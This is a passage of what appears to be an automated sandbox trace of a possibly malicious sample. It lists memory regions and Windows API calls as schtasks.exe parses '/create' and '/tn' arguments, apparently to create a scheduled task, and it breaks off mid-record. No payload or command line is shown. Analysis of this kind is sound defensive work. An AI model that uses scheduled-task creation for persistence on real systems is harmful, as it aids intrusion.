monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001eb77b30000" filename = "" Region: id = 3604 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3605 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3606 start_va = 0x1eb77ac0000 end_va = 0x1eb77acffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001eb77ac0000" filename = "" Region: id = 3607 start_va = 0x7ff684bd0000 end_va = 0x7ff684ccffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684bd0000" filename = "" Region: id = 3608 start_va = 0x1eb77b30000 end_va = 0x1eb77bedfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3609 start_va = 0x1eb77c10000 end_va = 0x1eb77d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001eb77c10000" filename = "" Region: id = 3610 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3611 start_va = 0x8f10f30000 end_va = 0x8f10faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000008f10f30000" filename = "" Region: id = 3612 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3613 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3614 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3615 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3616 start_va = 0x1eb77d10000 end_va = 0x1eb77deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001eb77d10000" filename = "" Region: id = 3617 start_va = 0x1eb77ad0000 end_va = 0x1eb77ad6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001eb77ad0000" filename = "" Region: id = 3618 start_va = 0x1eb77df0000 end_va = 0x1eb77f32fff monitored = 0 entry_point = 0x1eb77e18210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3619 start_va = 0x1eb77bf0000 end_va = 0x1eb77bf6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001eb77bf0000" filename = "" Region: id = 3620 start_va = 0x1eb77d10000 end_va = 0x1eb77d22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3621 start_va = 0x1eb77de0000 end_va = 0x1eb77deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001eb77de0000" filename = "" Region: id = 3622 start_va = 0x1eb77df0000 end_va = 0x1eb78126fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3623 start_va = 0x1eb78130000 end_va = 0x1eb7820cfff monitored = 0 entry_point = 0x1eb7818e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3624 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3625 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3626 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3627 start_va = 0x1eb77d30000 end_va = 0x1eb77d68fff monitored = 0 entry_point = 0x1eb77d312f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3628 start_va = 0x1eb78130000 end_va = 0x1eb782b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001eb78130000" filename = "" Region: id = 3629 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3630 start_va = 0x1eb77c00000 end_va = 0x1eb77c00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001eb77c00000" filename = "" Region: id = 3631 start_va = 0x1eb77d30000 end_va = 0x1eb77d30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001eb77d30000" filename = "" Region: id = 3632 start_va = 0x1eb782c0000 end_va = 0x1eb78440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001eb782c0000" filename = "" Region: id = 3633 start_va = 0x1eb78450000 end_va = 0x1eb7984ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001eb78450000" filename = "" Region: id = 3634 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3635 start_va = 0x1eb77d40000 end_va = 0x1eb77d40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001eb77d40000" filename = "" Region: id = 3636 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3637 start_va = 0x1eb77d50000 end_va = 0x1eb77d50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001eb77d50000" filename = "" Region: id = 3638 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3639 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3640 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 182 os_tid = 0xb8 [0127.603] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0127.603] __set_app_type (_Type=0x1) [0127.603] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0127.603] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0127.604] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0127.604] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0127.604] CsrIdentifyAlertableThread () returned 0x0 [0127.604] GetProcessHeap () returned 0x1eb77c10000 [0127.604] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x18) returned 0x1eb77c14a30 [0127.604] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.605] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0127.605] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0127.605] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0127.605] RtlVerifyVersionInfo (VersionInfo=0x8f10f2f740, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0127.605] GetProcessHeap () returned 0x1eb77c10000 [0127.605] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x18) returned 0x1eb77c14a50 [0127.605] lstrlenW (lpString="") returned 0 [0127.605] GetProcessHeap () returned 0x1eb77c10000 [0127.605] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x2) returned 0x1eb77c14a70 [0127.605] GetProcessHeap () returned 0x1eb77c10000 [0127.605] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c143e0 [0127.605] GetProcessHeap () returned 0x1eb77c10000 [0127.605] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x18) returned 0x1eb77c14410 [0127.605] GetProcessHeap () returned 0x1eb77c10000 [0127.605] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c14430 [0127.605] GetProcessHeap () returned 0x1eb77c10000 [0127.605] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c14460 [0127.605] GetProcessHeap () returned 0x1eb77c10000 [0127.605] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c13fd0 [0127.605] GetProcessHeap () returned 0x1eb77c10000 [0127.605] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c14000 [0127.626] GetProcessHeap () returned 0x1eb77c10000 [0127.626] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x18) returned 0x1eb77c12110 [0127.626] GetProcessHeap () returned 0x1eb77c10000 [0127.626] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c18ed0 [0127.626] GetProcessHeap () returned 0x1eb77c10000 [0127.626] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c18f00 [0127.626] GetProcessHeap () returned 0x1eb77c10000 [0127.626] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c190e0 [0127.626] GetProcessHeap () returned 0x1eb77c10000 [0127.626] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c18f30 [0127.626] GetProcessHeap () returned 0x1eb77c10000 [0127.626] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x18) returned 0x1eb77c14060 [0127.626] GetProcessHeap () returned 0x1eb77c10000 [0127.626] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c18ea0 [0127.627] GetProcessHeap () returned 0x1eb77c10000 [0127.627] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c18f60 [0127.627] GetProcessHeap () returned 0x1eb77c10000 [0127.627] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c18de0 [0127.627] GetProcessHeap () returned 0x1eb77c10000 [0127.627] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c19020 [0127.627] SetThreadUILanguage (LangId=0x0) returned 0x409 [0127.629] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.629] GetProcessHeap () returned 0x1eb77c10000 [0127.629] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c18e40 [0127.629] GetProcessHeap () returned 0x1eb77c10000 [0127.629] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c190b0 [0127.629] GetProcessHeap () returned 0x1eb77c10000 [0127.629] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c18f90 [0127.629] GetProcessHeap () returned 0x1eb77c10000 [0127.629] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c18e70 [0127.629] GetProcessHeap () returned 0x1eb77c10000 [0127.629] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c18fc0 [0127.629] GetProcessHeap () returned 0x1eb77c10000 [0127.629] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x18) returned 0x1eb77c13950 [0127.629] _memicmp (_Buf1=0x1eb77c13950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.629] GetProcessHeap () returned 0x1eb77c10000 [0127.629] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x208) returned 0x1eb77c19a50 [0127.629] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1eb77c19a50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0127.629] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x8f10f2f898 | out: lpdwHandle=0x8f10f2f898) returned 0x76c [0127.631] GetProcessHeap () returned 0x1eb77c10000 [0127.631] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x776) returned 0x1eb77c1a7b0 [0127.631] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1eb77c1a7b0 | out: lpData=0x1eb77c1a7b0) returned 1 [0127.631] VerQueryValueW (in: pBlock=0x1eb77c1a7b0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x8f10f2f830, puLen=0x8f10f2f890 | out: lplpBuffer=0x8f10f2f830*=0x1eb77c1ab60, puLen=0x8f10f2f890) returned 1 [0127.634] _memicmp (_Buf1=0x1eb77c13950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.634] _vsnwprintf (in: _Buffer=0x1eb77c19a50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x8f10f2f808 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0127.634] VerQueryValueW (in: pBlock=0x1eb77c1a7b0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x8f10f2f820, puLen=0x8f10f2f888 | out: lplpBuffer=0x8f10f2f820*=0x1eb77c1a990, puLen=0x8f10f2f888) returned 1 [0127.634] lstrlenW (lpString="schtasks.exe") returned 12 [0127.634] lstrlenW (lpString="schtasks.exe") returned 12 [0127.634] lstrlenW (lpString=".EXE") returned 4 [0127.634] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0127.635] lstrlenW (lpString="schtasks.exe") returned 12 [0127.635] lstrlenW (lpString=".EXE") returned 4 [0127.635] _memicmp (_Buf1=0x1eb77c13950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.635] lstrlenW (lpString="schtasks") returned 8 [0127.635] GetProcessHeap () returned 0x1eb77c10000 [0127.635] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c19050 [0127.635] GetProcessHeap () returned 0x1eb77c10000 [0127.635] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c19080 [0127.635] GetProcessHeap () returned 0x1eb77c10000 [0127.635] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c19110 [0127.635] GetProcessHeap () returned 0x1eb77c10000 [0127.635] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b350 [0127.635] GetProcessHeap () returned 0x1eb77c10000 [0127.636] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x18) returned 0x1eb77c14730 [0127.636] _memicmp (_Buf1=0x1eb77c14730, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.636] GetProcessHeap () returned 0x1eb77c10000 [0127.636] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0xa0) returned 0x1eb77c14260 [0127.636] GetProcessHeap () returned 0x1eb77c10000 [0127.636] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b4a0 [0127.636] GetProcessHeap () returned 0x1eb77c10000 [0127.636] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b980 [0127.636] GetProcessHeap () returned 0x1eb77c10000 [0127.636] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b800 [0127.636] GetProcessHeap () returned 0x1eb77c10000 [0127.636] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x18) returned 0x1eb77c13f20 [0127.636] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.636] GetProcessHeap () returned 0x1eb77c10000 [0127.636] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x200) returned 0x1eb77c1ba80 [0127.636] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0127.636] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0127.636] GetProcessHeap () returned 0x1eb77c10000 [0127.636] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x30) returned 0x1eb77c147f0 [0127.636] _vsnwprintf (in: _Buffer=0x1eb77c14260, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x8f10f2f808 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0127.636] GetProcessHeap () returned 0x1eb77c10000 [0127.636] GetProcessHeap () returned 0x1eb77c10000 [0127.636] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1a7b0) returned 1 [0127.637] GetProcessHeap () returned 0x1eb77c10000 [0127.637] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1a7b0) returned 0x776 [0127.637] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1a7b0) returned 1 [0127.637] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.637] GetThreadLocale () returned 0x409 [0127.637] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.638] lstrlenW (lpString="?") returned 1 [0127.638] GetThreadLocale () returned 0x409 [0127.638] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.638] lstrlenW (lpString="create") returned 6 [0127.638] GetThreadLocale () returned 0x409 [0127.638] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.638] lstrlenW (lpString="delete") returned 6 [0127.638] GetThreadLocale () returned 0x409 [0127.638] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.638] lstrlenW (lpString="query") returned 5 [0127.638] GetThreadLocale () returned 0x409 [0127.638] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.638] lstrlenW (lpString="change") returned 6 [0127.638] GetThreadLocale () returned 0x409 [0127.638] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.638] lstrlenW (lpString="run") returned 3 [0127.638] GetThreadLocale () returned 0x409 [0127.638] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.638] lstrlenW (lpString="end") returned 3 [0127.638] GetThreadLocale () returned 0x409 [0127.638] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.638] lstrlenW (lpString="showsid") returned 7 [0127.641] GetThreadLocale () returned 0x409 [0127.641] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.641] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.641] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.641] lstrlenW (lpString="/create") returned 7 [0127.641] lstrlenW (lpString="-/") returned 2 [0127.641] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.641] lstrlenW (lpString="?") returned 1 [0127.641] lstrlenW (lpString="?") returned 1 [0127.641] GetProcessHeap () returned 0x1eb77c10000 [0127.641] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x18) returned 0x1eb77c14830 [0127.641] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.641] GetProcessHeap () returned 0x1eb77c10000 [0127.641] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0xa) returned 0x1eb77c14310 [0127.641] lstrlenW (lpString="create") returned 6 [0127.641] GetProcessHeap () returned 0x1eb77c10000 [0127.641] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x18) returned 0x1eb77c14330 [0127.641] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.641] GetProcessHeap () returned 0x1eb77c10000 [0127.641] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x14) returned 0x1eb77c14350 [0127.641] _vsnwprintf (in: _Buffer=0x1eb77c14310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|?|") returned 3 [0127.641] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|create|") returned 8 [0127.641] lstrlenW (lpString="|?|") returned 3 [0127.641] lstrlenW (lpString="|create|") returned 8 [0127.641] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.641] lstrlenW (lpString="create") returned 6 [0127.641] lstrlenW (lpString="create") returned 6 [0127.641] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.641] GetProcessHeap () returned 0x1eb77c10000 [0127.642] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14310) returned 1 [0127.642] GetProcessHeap () returned 0x1eb77c10000 [0127.642] RtlReAllocateHeap (Heap=0x1eb77c10000, Flags=0xc, Ptr=0x1eb77c14310, Size=0x14) returned 0x1eb77c13b40 [0127.642] lstrlenW (lpString="create") returned 6 [0127.642] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.642] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|create|") returned 8 [0127.642] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|create|") returned 8 [0127.642] lstrlenW (lpString="|create|") returned 8 [0127.642] lstrlenW (lpString="|create|") returned 8 [0127.642] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0127.642] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.642] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.642] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.642] lstrlenW (lpString="/tn") returned 3 [0127.642] lstrlenW (lpString="-/") returned 2 [0127.642] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.642] lstrlenW (lpString="?") returned 1 [0127.642] lstrlenW (lpString="?") returned 1 [0127.642] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.642] lstrlenW (lpString="tn") returned 2 [0127.642] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.642] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|?|") returned 3 [0127.642] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tn|") returned 4 [0127.642] lstrlenW (lpString="|?|") returned 3 [0127.642] lstrlenW (lpString="|tn|") returned 4 [0127.642] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.642] lstrlenW (lpString="create") returned 6 [0127.642] lstrlenW (lpString="create") returned 6 [0127.643] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.643] lstrlenW (lpString="tn") returned 2 [0127.643] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.643] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|create|") returned 8 [0127.643] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tn|") returned 4 [0127.643] lstrlenW (lpString="|create|") returned 8 [0127.643] lstrlenW (lpString="|tn|") returned 4 [0127.643] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0127.643] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.643] lstrlenW (lpString="delete") returned 6 [0127.643] lstrlenW (lpString="delete") returned 6 [0127.643] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.643] lstrlenW (lpString="tn") returned 2 [0127.643] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.643] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|delete|") returned 8 [0127.643] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tn|") returned 4 [0127.643] lstrlenW (lpString="|delete|") returned 8 [0127.643] lstrlenW (lpString="|tn|") returned 4 [0127.643] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0127.643] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.643] lstrlenW (lpString="query") returned 5 [0127.643] lstrlenW (lpString="query") returned 5 [0127.643] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.643] lstrlenW (lpString="tn") returned 2 [0127.643] _memicmp (_Buf1=0x1eb77c14330, 